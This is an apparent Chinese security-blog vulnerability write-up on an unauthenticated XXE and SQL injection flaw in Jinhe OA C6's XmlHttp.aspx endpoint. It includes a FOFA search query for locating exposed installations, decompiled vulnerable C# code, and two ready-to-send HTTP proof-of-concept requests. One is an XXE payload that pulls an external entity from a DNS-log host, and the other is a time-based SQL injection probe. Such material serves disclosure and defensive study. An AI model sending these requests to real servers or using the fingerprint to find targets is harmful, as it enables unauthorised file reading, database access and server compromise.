金和OA Jhsoft.Web.appraise/XmlHttp.aspx XXE+SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 Jhsoft.Web.appraise/XmlHttp.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

直接根据 Jhsoft.Web.appraise/XmlHttp.aspx 在 bin 目录下查找 JHSoft.Web.Appraise.dll 将其进行反编译后找到 XmlHttp 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  XmlDocument xmlDocument = new XmlDocument();
  xmlDocument.Load(this.Request.InputStream);
  string innerText = xmlDocument.SelectSingleNode("//root//Flag").InnerText;
  if (innerText == null || !string.op_Equality(innerText, "GetSubDeptsByID"))
    return;
  this.GetSubDeptsByID(Convert.ToString(xmlDocument.DocumentElement.SelectSingleNode("//root//deptid").InnerText));
}

请求内容直接使 XmlDocument.LoadXml 解析,造成XXE漏洞。

同时该点还存在sql注入漏洞,因为deptid节点的值被直接带入GetSubDeptsByID方法

private void GetSubDeptsByID(string deptID)
{
  DataTable firstSubDeptByDeptId = new Role().GetFirstSubDeptByDeptID(deptID);

跟进 GetFirstSubDeptByDeptID

public DataTable GetFirstSubDeptByDeptID(string deptID)
{
  DataTable firstSubDeptByDeptId = (DataTable) null;
  StringBuilder stringBuilder = new StringBuilder();
  stringBuilder.Append("select  a.DeptID, a.DeptName,case when exists(select * from dbo.department where deptparentid=a.deptid and deptdelflag=0) then 1 else 0 end as haschild ");
  stringBuilder.Append("   from dbo.Department  a left outer join dbo.Sort b on a.DeptID =b.SortObjectID  ");
  stringBuilder.Append($" where  a.deptparentid={deptID} and b.SortType = 'Dept' and a.DeptDelFlag = 0");
  stringBuilder.Append(" order by sortid ");
  try
  {
    firstSubDeptByDeptId = this.ObjDAL.ExecSQLReDataTable(stringBuilder.ToString());

漏洞复现

XXE

POST /c6/Jhsoft.Web.appraise/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

在DNSLOG平台成功收到HTTP请求

SQL

POST /c6/Jhsoft.Web.appraise/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml

<root>
  <Flag>GetSubDeptsByID</Flag>
  <deptid>SQLI_POC</deptid>
</root>

成功延时 5 秒


手机扫码阅读

用友NC importExcelTemplate 任意文件上传漏洞

金和OA SetKPILevelXml.aspx XXE漏洞

评 论